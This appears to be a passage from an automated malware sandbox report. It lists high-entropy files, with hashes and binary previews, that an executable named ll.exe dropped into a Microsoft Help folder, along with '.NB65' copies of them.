Preview:_*.(D@...JR./....j.......k..G....z....c.Am......M/..gjXh.p76.'pRK."7.X"...M......j.tA..4...@.1n.S..OZ.i.....=^.1-.\...O.1A.o.~.3..........-!.g..AS9]..$'......[...../.~.>s...D}ho@P....]..A.........S..`..)./:)..~...... ....P..D!t.>R8......xZ..JEr....T.....d.9.SO....|....Y..NZ...Y`!...2l..|."....J.IX..!.`.m...i.e..+...Ty.n.C.{K...L.|f.G...[94...h.;.<.$...n..lI.......9f.f..>?.G.....{.$.".B.).I+`..k.r.S.@.x..YF....Q..W..V!:.!.}.....r...w..NU..FD...B.]w{H.+U...qh6.o.wn.v.../.....U.....N.c`K..UK..^..?...3e]K.z0.^...Zl...HF.Y....u..v.>w.3.+.U.a..?.vLa+.Gf4...L_.QW.M_..C..5....Q..BNb.zD-R.ua..?....M.O.\j.......!.^....g.......4..|L].&..J....(.......}..`..h...iY.S.x.Z....UG3.B..|.....%..t.=g.a}..2.r.F.XJ.....1\.B_}./..o.6'.%.>.P<.....%..A.x.]........t.Q..>.*.,.`..../.....j.H_..4\..X0Lz.1.$...h.C.$.........c>...b....L.D............$.d.......

C:\ProgramData\Microsoft Help\MS.LYNC.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:PGP\011Secret Key -
Category:dropped
Size (bytes):878
Entropy (8bit):7.740715019515512
Encrypted:false
SSDEEP:
MD5:7E234E86D2E04B03935B03D3FEF0030D
SHA1:34E1F22F4E34F77E1BD9478F919892168E61D7F7
SHA-256:328EAC1EEFD06AF720A5963D23A91D67B68F1CEB52B44949A8362F511DBDBB11
SHA-512:F13B0474B855DABF275CB888E066A4732CE39B97CFFB77E442E82362416B2E6A19BBE99E96870E534E95A6ADE3B641B1F85494B30590638200EC410B90630F5D
Malicious:false
Preview:...-.0Bs.*..|.O.md...vy..w.....l-`M..i..lk>......m..Rkz....8oi....x..........t....(...F...pk......r)...z..........G'..y........M../....R.."q*b....&.?.?...._.!.\Q...r....3....{.....V.q.[.8.J-.w......n..J~Ho.E1:Fn..............(...a.`........:}6.j\.}.}v..lw_.V$...................O..dbL..^O.XG%)PS..@/.....[.....#......fj...R!S....r.....B.qk.,..o[..)...V'...(J....X7.u~..K.W....~.....0.h.Z....8.9.....l.!p`..qm)......8...Q_e.".]./ .I....5qXMY..bm...`o..j...9w...py%.0>..57.S.n.t...6.#....R...Cj..i..y-y..w.... X...c.........).....n.i9N;.lD.).x..[i:.....1h&.../vy..LI.[..]7R.|....SP.......12.....=......xHL?....K]7.4....4N1..1Q.'.]DiD%..=..Y....... ...._...b.d(...'..,...>.YZ.....v.:.C.\.....Z...qe.e.N'p....5E.!.t.......E..b.D.,...../.d.w. ...I.,..E..5..}..\.@z..G....:2..Ro[2.ie...d..<.w...H..S..D..P.WO..........................$.X.......

C:\ProgramData\Microsoft Help\MS.LYNC.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:PGP\011Secret Key -
Category:dropped
Size (bytes):878
Entropy (8bit):7.740715019515512
Encrypted:false
SSDEEP:
MD5:7E234E86D2E04B03935B03D3FEF0030D
SHA1:34E1F22F4E34F77E1BD9478F919892168E61D7F7
SHA-256:328EAC1EEFD06AF720A5963D23A91D67B68F1CEB52B44949A8362F511DBDBB11
SHA-512:F13B0474B855DABF275CB888E066A4732CE39B97CFFB77E442E82362416B2E6A19BBE99E96870E534E95A6ADE3B641B1F85494B30590638200EC410B90630F5D
Malicious:false
Preview:...-.0Bs.*..|.O.md...vy..w.....l-`M..i..lk>......m..Rkz....8oi....x..........t....(...F...pk......r)...z..........G'..y........M../....R.."q*b....&.?.?...._.!.\Q...r....3....{.....V.q.[.8.J-.w......n..J~Ho.E1:Fn..............(...a.`........:}6.j\.}.}v..lw_.V$...................O..dbL..^O.XG%)PS..@/.....[.....#......fj...R!S....r.....B.qk.,..o[..)...V'...(J....X7.u~..K.W....~.....0.h.Z....8.9.....l.!p`..qm)......8...Q_e.".]./ .I....5qXMY..bm...`o..j...9w...py%.0>..57.S.n.t...6.#....R...Cj..i..y-y..w.... X...c.........).....n.i9N;.lD.).x..[i:.....1h&.../vy..LI.[..]7R.|....SP.......12.....=......xHL?....K]7.4....4N1..1Q.'.]DiD%..=..Y....... ...._...b.d(...'..,...>.YZ.....v.:.C.\.....Z...qe.e.N'p....5E.!.t.......E..b.D.,...../.d.w. ...I.,..E..5..}..\.@z..G....:2..Ro[2.ie...d..<.w...H..S..D..P.WO..........................$.X.......

C:\ProgramData\Microsoft Help\MS.LYNC_BASIC.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):914
Entropy (8bit):7.748146492303463
Encrypted:false
SSDEEP:
MD5:D217B9DA9673DAA7E47C419D22FAEC41
SHA1:7E1AD9B5E28C9AD45B18762AA431753637486BEB
SHA-256:93C253605AE7CD762BD530DB9250F304953CD0C09ABA1678A19B576BA5C9CB3D
SHA-512:B222B498CABE2FD959DD306DC19B5AD4981DED63F25726CE479E0DB51DE80EFC5C82DABB099946E60564A0CFCBE539F091C6F166E3177E8D37FE7CA9F411150C
Malicious:false
Preview:.*.:]...t...s...$Z.../.q.....L.*...;..Vo.'>xT...e..u.Rr.v_5;.]....9...`....jM..X.P........1.f.iy.&,..@.."..5.{.."EP.c...>......0..Q.+.%.3.yF......'...5..skn.m..p*\.|.:.U.M%...$.u.:..|Y-.........rrJ..0B.......4;.Jw.........k.}">ou......:s......C.zPF.g.'42...........e.....!.-.........+....Kp.......a..M.-.......ON...../.OJ.[..4...P}....f....q.|.r...B...qs.o|.`X.5....`..;..{d....~.../i_......Y.kW..*_...K.].G..-.a.*:..F.}$.J...C...aq`.R..0.85..........yz....fG..9x...!..\..Y.8]<..}.>..s....../..ivti.........{..c{.15..*%..A%T;..9.iI.;".=.qn.....~Z.!....o!.Z0...6.0Y...)ZV.`a...O9....?.A.1..f.L>(=..y....B.).#oyp...........$.}.8.5dgf.H^...G.6+.....f...@q...{. ..>....*X....V^whU<_f.i....[.EF.F...TS?.A./q...7..j.T-h...r|o.(...,$....OI.3pd......y...=....g...9. 69.._.e..a.&.W{..a..h.....).p...@.U.....I[.?........_..qD......"..3o.$....+.[..0....).e............$.|.......

C:\ProgramData\Microsoft Help\MS.LYNC_BASIC.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):914
Entropy (8bit):7.748146492303463
Encrypted:false
SSDEEP:
MD5:D217B9DA9673DAA7E47C419D22FAEC41
SHA1:7E1AD9B5E28C9AD45B18762AA431753637486BEB
SHA-256:93C253605AE7CD762BD530DB9250F304953CD0C09ABA1678A19B576BA5C9CB3D
SHA-512:B222B498CABE2FD959DD306DC19B5AD4981DED63F25726CE479E0DB51DE80EFC5C82DABB099946E60564A0CFCBE539F091C6F166E3177E8D37FE7CA9F411150C
Malicious:false
Preview:.*.:]...t...s...$Z.../.q.....L.*...;..Vo.'>xT...e..u.Rr.v_5;.]....9...`....jM..X.P........1.f.iy.&,..@.."..5.{.."EP.c...>......0..Q.+.%.3.yF......'...5..skn.m..p*\.|.:.U.M%...$.u.:..|Y-.........rrJ..0B.......4;.Jw.........k.}">ou......:s......C.zPF.g.'42...........e.....!.-.........+....Kp.......a..M.-.......ON...../.OJ.[..4...P}....f....q.|.r...B...qs.o|.`X.5....`..;..{d....~.../i_......Y.kW..*_...K.].G..-.a.*:..F.}$.J...C...aq`.R..0.85..........yz....fG..9x...!..\..Y.8]<..}.>..s....../..ivti.........{..c{.15..*%..A%T;..9.iI.;".=.qn.....~Z.!....o!.Z0...6.0Y...)ZV.`a...O9....?.A.1..f.L>(=..y....B.).#oyp...........$.}.8.5dgf.H^...G.6+.....f...@q...{. ..>....*X....V^whU<_f.i....[.EF.F...TS?.A./q...7..j.T-h...r|o.(...,$....OI.3pd......y...=....g...9. 69.._.e..a.&.W{..a..h.....).p...@.U.....I[.?........_..qD......"..3o.$....+.[..0....).e............$.|.......

C:\ProgramData\Microsoft Help\MS.LYNC_ONLINE.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):920
Entropy (8bit):7.726772840875344
Encrypted:false
SSDEEP:
MD5:3501FC8EBB8071C3CDFD99742F7ED737
SHA1:571FD5138FE60124ECAB1693340C9002323342F4
SHA-256:146E10AC6084D7D88A40DE1D10DC91199B255D48B039B7BA15C7AC70B3D28A89
SHA-512:AA72B648E5B93E368290A57BFFE279CED8EBAD1920CFAECCDDFEB2C3FD02DCDF9059355BAD63247EE9FF24DB70550CEE6AD994A22CD86BC76F89AB1069963AC6
Malicious:false
Preview:......^...&._`x.zp...E%.aX.......$.....f%.A.o.d...-.f......;.(.8S..9. .h.z.).#...q...._...7.uk........ V..["...5~....."....l...b.......C,i.(..1.$...=/.(n..OsW.&.h.#......|K..{.2..i}....c2..-..R...t...ER....WC.~........a......q.v...kK|.ZBM...}}B.7.Mp..vF...1g3j.yr...<..;Du.=."_H/......].e.>s.;.....j..l.1s..A....l.....M...\..D.."....H{.YX..?.H.L@.......b&....&.....i.....M.n)..H....*dm....z......'D...-...y......z....G..[...-...f....9p..I..$.x..$[.Ns....;..vp..I9.WNS..Fu...X;.V..cS.....>me....(.2./..1..........B.....;+.sY..,.R.:..R.i.qH...C.h.U.D....(.5....".....b....+.Y....:=........H.`..{.V..'.%...A..\.`x.j..z....r.H....7....m....w...p..@R..hL.S.]..u.4=...k.c. .|...V.........f...8..p..il.t..}..2<.... ....&i.]...h..7.1.u....[....)0S......}..:...a..'.5>..{....r...8......WF....w.S........fA.8..$/.n..T/.g`m.._8..[Z.-..-1...>q..6.$...=.....^O............$.........

C:\ProgramData\Microsoft Help\MS.LYNC_ONLINE.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):920
Entropy (8bit):7.726772840875344
Encrypted:false
SSDEEP:
MD5:3501FC8EBB8071C3CDFD99742F7ED737
SHA1:571FD5138FE60124ECAB1693340C9002323342F4
SHA-256:146E10AC6084D7D88A40DE1D10DC91199B255D48B039B7BA15C7AC70B3D28A89
SHA-512:AA72B648E5B93E368290A57BFFE279CED8EBAD1920CFAECCDDFEB2C3FD02DCDF9059355BAD63247EE9FF24DB70550CEE6AD994A22CD86BC76F89AB1069963AC6
Malicious:false
Preview:......^...&._`x.zp...E%.aX.......$.....f%.A.o.d...-.f......;.(.8S..9. .h.z.).#...q...._...7.uk........ V..["...5~....."....l...b.......C,i.(..1.$...=/.(n..OsW.&.h.#......|K..{.2..i}....c2..-..R...t...ER....WC.~........a......q.v...kK|.ZBM...}}B.7.Mp..vF...1g3j.yr...<..;Du.=."_H/......].e.>s.;.....j..l.1s..A....l.....M...\..D.."....H{.YX..?.H.L@.......b&....&.....i.....M.n)..H....*dm....z......'D...-...y......z....G..[...-...f....9p..I..$.x..$[.Ns....;..vp..I9.WNS..Fu...X;.V..cS.....>me....(.2./..1..........B.....;+.sY..,.R.:..R.i.qH...C.h.U.D....(.5....".....b....+.Y....:=........H.`..{.V..'.%...A..\.`x.j..z....r.H....7....m....w...p..@R..hL.S.]..u.4=...k.c. .|...V.........f...8..p..il.t..}..2<.... ....&i.]...h..7.1.u....[....)0S......}..:...a..'.5>..{....r...8......WF....w.S........fA.8..$/.n..T/.g`m.._8..[Z.-..-1...>q..6.$...=.....^O............$.........

C:\ProgramData\Microsoft Help\MS.MSACCESS.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):902
Entropy (8bit):7.776547943979173
Encrypted:false
SSDEEP:
MD5:9F359C5F7D8D4B3F6EB7903ED75741DD
SHA1:23C9B6D7174591B6B18BE80D517EC8D3FBBDC84C
SHA-256:CCC78CF392AA15BFE26C4C95598ED5ADD215786847F41CD5F478ABCAF395D80A
SHA-512:C0FE1940759F5667B4A12412CA860A6851944A9FAEDA0613CC10F9C7420CB090C903A92876BA92ACACE5C06E71B2C8F41160E56BC2E02D74500484A92552D042
Malicious:false
Preview:..mv...9.N..- .I......ed....w..K.).q4zKs..E..7..iX.... .y=...A.^8<l=.H...]..A.D5=?V5.7E)<G....b...2...7wu[..F..]......X.......[~.$.F...6.r..z<...F-....W.2Q..BT.+..t.kr...3X..M,..]x>..E...@....0j.].g<.H.0...v^.{....|S...k...<_'..g.......d.......H.q.....y.G....ku..m....c.M3.%.M.G..JW..W.>.HPpQ......+.k.P....Y.........y........5.tS....Mr...."K.......C.M...]...e.j.C. .]R\....;z.X.....5........7.._...%.$^....)r<...[.%}...S.p....O......EiL.......|D..zc.TW#?. y`).....x..|.2..Z.&........dP8.^....h.x.c.{6....}H.^......r..h?G.mE1.....j.B..3.y.z.Z\..w.....v........I.;d|.si!.! 1...k.$-0.[......[_.....J.TD.....Rx....X.4.m.QB..,v.*..@.+(_._..fYb<..~uM...c.S.a&..m.......-..h9..G.(Y[,.....9.K...o.T...9.];...s.d....{...U.Qx.0.i#.=y,.C.z.....C..p...].~.._v.s.p.....c]i>.,.5<....Q.>./.x......95YA...>(.t.@.8.).l.7%'.,...a.tC0CV...iv.+..<. .../..~............$.p.......

C:\ProgramData\Microsoft Help\MS.MSACCESS.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):902
Entropy (8bit):7.776547943979173
Encrypted:false
SSDEEP:
MD5:9F359C5F7D8D4B3F6EB7903ED75741DD
SHA1:23C9B6D7174591B6B18BE80D517EC8D3FBBDC84C
SHA-256:CCC78CF392AA15BFE26C4C95598ED5ADD215786847F41CD5F478ABCAF395D80A
SHA-512:C0FE1940759F5667B4A12412CA860A6851944A9FAEDA0613CC10F9C7420CB090C903A92876BA92ACACE5C06E71B2C8F41160E56BC2E02D74500484A92552D042
Malicious:false
Preview:..mv...9.N..- .I......ed....w..K.).q4zKs..E..7..iX.... .y=...A.^8<l=.H...]..A.D5=?V5.7E)<G....b...2...7wu[..F..]......X.......[~.$.F...6.r..z<...F-....W.2Q..BT.+..t.kr...3X..M,..]x>..E...@....0j.].g<.H.0...v^.{....|S...k...<_'..g.......d.......H.q.....y.G....ku..m....c.M3.%.M.G..JW..W.>.HPpQ......+.k.P....Y.........y........5.tS....Mr...."K.......C.M...]...e.j.C. .]R\....;z.X.....5........7.._...%.$^....)r<...[.%}...S.p....O......EiL.......|D..zc.TW#?. y`).....x..|.2..Z.&........dP8.^....h.x.c.{6....}H.^......r..h?G.mE1.....j.B..3.y.z.Z\..w.....v........I.;d|.si!.! 1...k.$-0.[......[_.....J.TD.....Rx....X.4.m.QB..,v.*..@.+(_._..fYb<..~uM...c.S.a&..m.......-..h9..G.(Y[,.....9.K...o.T...9.];...s.d....{...U.Qx.0.i#.=y,.C.z.....C..p...].~.._v.s.p.....c]i>.,.5<....Q.>./.x......95YA...>(.t.@.8.).l.7%'.,...a.tC0CV...iv.+..<. .../..~............$.p.......

C:\ProgramData\Microsoft Help\MS.MSOUC.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):884
Entropy (8bit):7.730378147643706
Encrypted:false
SSDEEP:
MD5:2E53CB168A07CA8D96EAE048FF675AB7
SHA1:1C87E35F0BE3B731C6CBEE737972B7A31E32548C
SHA-256:BEFD851C4FF7CD1B9FCC2A16C5670E14FF15689DD91C12FEA9D1B5ACA6FBDCA0
SHA-512:C135443556C9B8AB8A2AF9FF11EBCAFC4E6520977C179491D6A624DF4A5540463459B2874E2DDEB1AC2D1BD7C71A6FC55DA665E153B0C52A47A947A8D7763724
Malicious:false
Preview:.{.Q~X...c.n....i.q...Eg.9....d..&RY..9.|..g...t1..{.q...k..Jf"...).0..gB.T.....(Ub.NE0h..9..!..T.C..".......c. ..*..6..U\..u.Y6........4W.$.+......m.A.W....3.j...M:......X%..%.d]......P...B..1i..od.=...{.'q..}.J'....ExO....O~..'A...,A.\f...1....^c&o...;gd.,x...s......jj)...J..i_..X...U......e,.|....2...|v........M...P..%Ho...=....A.i.\...*Z..Z.g.b$..U3.p.......(".xL@S.h...t+$....y..h.@m...G.......S.....{.U.P......}.q...?./G.5W..."..7.DC..K...7.d.W]Y.......v6..O..Y2O=.....J.......w.Jw..G..'....%.^Y...f.Z.8 ..L-.g......z3..4....U.....M..I.f..DM.....9....i....D.I*.OB....Ih;.3...=.&...YU......]6......v....!...aZ.....d.0B].\.L....9...DJ\...6...j....Y.i.%z(/}F.@'...>*.;.n.Y_.9..../W\.j.FKj....R...t%R.H9....=.f$}8.o.....,4.Is/1......z.l..G.~...2..YvG~.<....;..j.....T.49'.C.K..CA...9......+..Z..M....F*.....T$a.....y5U.uu|.>.............$.^.......

C:\ProgramData\Microsoft Help\MS.MSOUC.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):884
Entropy (8bit):7.730378147643706
Encrypted:false
SSDEEP:
MD5:2E53CB168A07CA8D96EAE048FF675AB7
SHA1:1C87E35F0BE3B731C6CBEE737972B7A31E32548C
SHA-256:BEFD851C4FF7CD1B9FCC2A16C5670E14FF15689DD91C12FEA9D1B5ACA6FBDCA0
SHA-512:C135443556C9B8AB8A2AF9FF11EBCAFC4E6520977C179491D6A624DF4A5540463459B2874E2DDEB1AC2D1BD7C71A6FC55DA665E153B0C52A47A947A8D7763724
Malicious:false
Preview:.{.Q~X...c.n....i.q...Eg.9....d..&RY..9.|..g...t1..{.q...k..Jf"...).0..gB.T.....(Ub.NE0h..9..!..T.C..".......c. ..*..6..U\..u.Y6........4W.$.+......m.A.W....3.j...M:......X%..%.d]......P...B..1i..od.=...{.'q..}.J'....ExO....O~..'A...,A.\f...1....^c&o...;gd.,x...s......jj)...J..i_..X...U......e,.|....2...|v........M...P..%Ho...=....A.i.\...*Z..Z.g.b$..U3.p.......(".xL@S.h...t+$....y..h.@m...G.......S.....{.U.P......}.q...?./G.5W..."..7.DC..K...7.d.W]Y.......v6..O..Y2O=.....J.......w.Jw..G..'....%.^Y...f.Z.8 ..L-.g......z3..4....U.....M..I.f..DM.....9....i....D.I*.OB....Ih;.3...=.&...YU......]6......v....!...aZ.....d.0B].\.L....9...DJ\...6...j....Y.i.%z(/}F.@'...>*.;.n.Y_.9..../W\.j.FKj....R...t%R.H9....=.f$}8.o.....,4.Is/1......z.l..G.~...2..YvG~.<....;..j.....T.49'.C.K..CA...9......+..Z..M....F*.....T$a.....y5U.uu|.>.............$.^.......

C:\ProgramData\Microsoft Help\MS.MSPUB.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):884
Entropy (8bit):7.704170088130349
Encrypted:false
SSDEEP:
MD5:18BC6674459300CEB95E4CC9E6F019E6
SHA1:62E25FA1147F800CD3D0C51BBC6102F3AEDDCEC6
SHA-256:77312F125F8912FC04BF78CD3A107FE8ED83E0E53AD51EF3A04A5EFD257F29F5
SHA-512:E24B1F6C8329BF6D91CFB4687251A538CA2B0B54385D3C100108911C6922F1BA858AB936FA6CD346F4D657D59163D762EAC610AC40D4BF1012AE13249FE3FC85
Malicious:false
Preview:..#.i..G.......\.tz..*yn+.Q.;'..." (1..!..;Iv...Tp.... /....#(.\G#D.Q...d.^`=..`+.>..r|........Ec..rE,....Cp..=..{.G.0.G..(...~....)O....K~...G.#.+....t..G.s...y...bp....E...Y....LD.tXk.p.A3C........-......S....i.l......kr@.*W6.?Qvq..0.Y$h0.z.@..v...b..&........K....L..@..O..dB.n.Y..fg.,.~....@c@C.]%.....n....m.....C.d.....t'O.(%...K.m.2[..{..HT.<Ie..K.>>..c.6pI}...-.,c..N>.y...:N1=F.R..........5:^....h......\K.}.,.PZ..j(...Z.!..3.........+..e.~'E?..w.C......{."H[....s$IJ\T... .q.F.j*.......6.+zm...M....Z.2.w...eu.].!.......BD.G8..(.ke.f.....>.......=..i8=...LZ........O.....]....t.X......n...[+a.......;.BNT+...`...2..N.....m....uQ...|..3.e.tB......3?...$Gk....*.......,.S.....}}...z.4.Tc.'.x..O<.........}s...%....Z5~,h.='.1.%.......!.....'.)6..B.:...0u.....MBV...b..;./'.U.w.....S..t.(.swY.>......{D.1c..)............$.^.......

C:\ProgramData\Microsoft Help\MS.MSPUB.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):884
Entropy (8bit):7.704170088130349
Encrypted:false
SSDEEP:
MD5:18BC6674459300CEB95E4CC9E6F019E6
SHA1:62E25FA1147F800CD3D0C51BBC6102F3AEDDCEC6
SHA-256:77312F125F8912FC04BF78CD3A107FE8ED83E0E53AD51EF3A04A5EFD257F29F5
SHA-512:E24B1F6C8329BF6D91CFB4687251A538CA2B0B54385D3C100108911C6922F1BA858AB936FA6CD346F4D657D59163D762EAC610AC40D4BF1012AE13249FE3FC85
Malicious:false
Preview:..#.i..G.......\.tz..*yn+.Q.;'..." (1..!..;Iv...Tp.... /....#(.\G#D.Q...d.^`=..`+.>..r|........Ec..rE,....Cp..=..{.G.0.G..(...~....)O....K~...G.#.+....t..G.s...y...bp....E...Y....LD.tXk.p.A3C........-......S....i.l......kr@.*W6.?Qvq..0.Y$h0.z.@..v...b..&........K....L..@..O..dB.n.Y..fg.,.~....@c@C.]%.....n....m.....C.d.....t'O.(%...K.m.2[..{..HT.<Ie..K.>>..c.6pI}...-.,c..N>.y...:N1=F.R..........5:^....h......\K.}.,.PZ..j(...Z.!..3.........+..e.~'E?..w.C......{."H[....s$IJ\T... .q.F.j*.......6.+zm...M....Z.2.w...eu.].!.......BD.G8..(.ke.f.....>.......=..i8=...LZ........O.....]....t.X......n...[+a.......;.BNT+...`...2..N.....m....uQ...|..3.e.tB......3?...$Gk....*.......,.S.....}}...z.4.Tc.'.x..O<.........}s...%....Z5~,h.='.1.%.......!.....'.)6..B.:...0u.....MBV...b..;./'.U.w.....S..t.(.swY.>......{D.1c..)............$.^.......

C:\ProgramData\Microsoft Help\MS.ONENOTE.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):896
Entropy (8bit):7.713401251687435
Encrypted:false
SSDEEP:
MD5:96BF62274A96C302331EE6A3529CD960
SHA1:68FE135316DCC6AF8BD214E1F54262CE87DE09BD
SHA-256:2DEA00347E2EAFAE32FEEC5CF9A2EE4B3236E401A1A882617FC40CB5641D1689
SHA-512:497F922678D6728FC16D6A901A24EBCA70DA190EF51647C4E96C1A1CE58618301B74562B12A39C28F810A61EA0426AA2BAF5575844FC2A3546F1BBEEC52B22E9
Malicious:false
Preview:r..r..X..N..7m...n&#5Z.OVb3.!.....I.F.BN..?.......in.k..s...nA.K......=.).....va.7J.?.k......Nq,A.Gw.&.Q.....[..H^zP5...S.i.=-`x..g...o.-...DV....j...R$..4...-...Q.&.Q.....3.... +m.\..C.x.-:j.....c.:.[.=.}..fE]&)...P......;...\+..7....A..h..y.R<..:...3.h...9r.k.G...K...<A.C.q.]O.Dd...S...j=d#<..Q'g.X[G.......bB.;.i..h.Z.T.7./.....Mb.n..&3.NB`...Rk....OVZ..4..~d.o.u..r._.0..=F..T.D.T...lv.%...6.D...+.j.-...@&.&a.a.K..b.X.C..D.c.<_..4p...Q./{....|:..._..MAc. ...[x*A......5t..%.3..Q....7.sy.t3.....9...G.K...k.....&.......S.8..J.......7...O.U...S..Y{.2..y..d...U.8.0...........T.x..z.r~#.h.'(.3...H_.iF...V.....C.S.j.....A....X.PQ.T.r..\7.5..i.6v.R.r.......-,}$...C.;..t=..b@.w.........-2oZ..u..U..rDM.n.Ws..v..gs..uT..A..'....B..;T.b.a.Z...o.>*.rC.[..Iai........<4D;x..w:..DD.5.=.........X.T.%.39.B....~.\G|.`..J9..c..+.....\.)..0..?-............$.j.......

C:\ProgramData\Microsoft Help\MS.ONENOTE.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):896
Entropy (8bit):7.713401251687435
Encrypted:false
SSDEEP:
MD5:96BF62274A96C302331EE6A3529CD960
SHA1:68FE135316DCC6AF8BD214E1F54262CE87DE09BD
SHA-256:2DEA00347E2EAFAE32FEEC5CF9A2EE4B3236E401A1A882617FC40CB5641D1689
SHA-512:497F922678D6728FC16D6A901A24EBCA70DA190EF51647C4E96C1A1CE58618301B74562B12A39C28F810A61EA0426AA2BAF5575844FC2A3546F1BBEEC52B22E9
Malicious:false
Preview:r..r..X..N..7m...n&#5Z.OVb3.!.....I.F.BN..?.......in.k..s...nA.K......=.).....va.7J.?.k......Nq,A.Gw.&.Q.....[..H^zP5...S.i.=-`x..g...o.-...DV....j...R$..4...-...Q.&.Q.....3.... +m.\..C.x.-:j.....c.:.[.=.}..fE]&)...P......;...\+..7....A..h..y.R<..:...3.h...9r.k.G...K...<A.C.q.]O.Dd...S...j=d#<..Q'g.X[G.......bB.;.i..h.Z.T.7./.....Mb.n..&3.NB`...Rk....OVZ..4..~d.o.u..r._.0..=F..T.D.T...lv.%...6.D...+.j.-...@&.&a.a.K..b.X.C..D.c.<_..4p...Q./{....|:..._..MAc. ...[x*A......5t..%.3..Q....7.sy.t3.....9...G.K...k.....&.......S.8..J.......7...O.U...S..Y{.2..y..d...U.8.0...........T.x..z.r~#.h.'(.3...H_.iF...V.....C.S.j.....A....X.PQ.T.r..\7.5..i.6v.R.r.......-,}$...C.;..t=..b@.w.........-2oZ..u..U..rDM.n.Ws..v..gs..uT..A..'....B..;T.b.a.Z...o.>*.rC.[..Iai........<4D;x..w:..DD.5.=.........X.T.%.39.B....~.\G|.`..J9..c..+.....\.)..0..?-............$.j.......

C:\ProgramData\Microsoft Help\MS.OUTLOOK.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):896
Entropy (8bit):7.745821125046381
Encrypted:false
SSDEEP:
MD5:D45095768BB35699CBB4CC7F7337D1CA
SHA1:291340D5743C6D92026EECD99B3A7F935050AF76
SHA-256:EA224215BCB5C13306E386692E3436D96FC3039AE52CFE18506FF878B41069E0
SHA-512:C4141CE1D34829AA3D4258BCB64385A65C90C611A78549684130F25F2116651A4DD547F55A995BF41E2B4212A84EBC101FA56798084708E1C6805E30E42EA7D7
Malicious:false
Preview: .?..~c..DwV&E..##.>...x.UR.Nd_#p....:.P..G..-h.......2.u....Pr.M..).9....dy#.M...@..|.[l..B...k.#......}.z!7...!9....=t...!c..3.K...(L.......q.....w..D,h...'%q...h....a.4.......B-a...D..T(.._.b.p..ZKb.c>.)..2Y.y.W..)...9..G7G...|5.%....d.-.....|.....ZxXy.=........E..I.rF;F....5..;u...R8.mbz.I.4b...{X..2<.....O.%..9e.YD.@.A..".7..i..]./;......oP.>.........|..'\.'..D.K|.i.[.L.M:.%....3H)$..?MnK..e..3P.%J`.4.OY...o4...$'..3;V}....|<...zNK...~.8k..y...F....T]..x........7".d.D3..f5.Q-.]m..ac.....DMV..T...@...8.....Y.Q!.D.+.;P..v..B.n.....j..D.u.X.M.,)..U[..+..7T...'..h.6t....^XW..8H.....r.x.>..~.....}`...e.m4-..{:..M3}B...3.....AYS}..`$....e....R4h...f.B.&..).W.E.}.$...7G..A...6.....w4.z.|..w..rG..R....9..l..T..."...V.t:PD....u....ro..(r..R....^:..i...t.\t..^f...JN.I.w...>..N..Y........Mf.te..._."G.P.x..'.#|L%............$.j.......

C:\ProgramData\Microsoft Help\MS.OUTLOOK.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):896
Entropy (8bit):7.745821125046381
Encrypted:false
SSDEEP:
MD5:D45095768BB35699CBB4CC7F7337D1CA
SHA1:291340D5743C6D92026EECD99B3A7F935050AF76
SHA-256:EA224215BCB5C13306E386692E3436D96FC3039AE52CFE18506FF878B41069E0
SHA-512:C4141CE1D34829AA3D4258BCB64385A65C90C611A78549684130F25F2116651A4DD547F55A995BF41E2B4212A84EBC101FA56798084708E1C6805E30E42EA7D7
Malicious:false
Preview: .?..~c..DwV&E..##.>...x.UR.Nd_#p....:.P..G..-h.......2.u....Pr.M..).9....dy#.M...@..|.[l..B...k.#......}.z!7...!9....=t...!c..3.K...(L.......q.....w..D,h...'%q...h....a.4.......B-a...D..T(.._.b.p..ZKb.c>.)..2Y.y.W..)...9..G7G...|5.%....d.-.....|.....ZxXy.=........E..I.rF;F....5..;u...R8.mbz.I.4b...{X..2<.....O.%..9e.YD.@.A..".7..i..]./;......oP.>.........|..'\.'..D.K|.i.[.L.M:.%....3H)$..?MnK..e..3P.%J`.4.OY...o4...$'..3;V}....|<...zNK...~.8k..y...F....T]..x........7".d.D3..f5.Q-.]m..ac.....DMV..T...@...8.....Y.Q!.D.+.;P..v..B.n.....j..D.u.X.M.,)..U[..+..7T...'..h.6t....^XW..8H.....r.x.>..~.....}`...e.m4-..{:..M3}B...3.....AYS}..`$....e....R4h...f.B.&..).W.E.}.$...7G..A...6.....w4.z.|..w..rG..R....9..l..T..."...V.t:PD....u....ro..(r..R....^:..i...t.\t..^f...JN.I.w...>..N..Y........Mf.te..._."G.P.x..'.#|L%............$.j.......

C:\ProgramData\Microsoft Help\MS.POWERPNT.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):902
Entropy (8bit):7.704421046590095
Encrypted:false
SSDEEP:
MD5:17026B058634A70A7539E63205BB7614
SHA1:D03C6E4951CC1114B35E24367A18866C9F538D23
SHA-256:F6CD313A885A3318CF86032580355057F134C0464FCA72A295F8F002BAE2A0A9
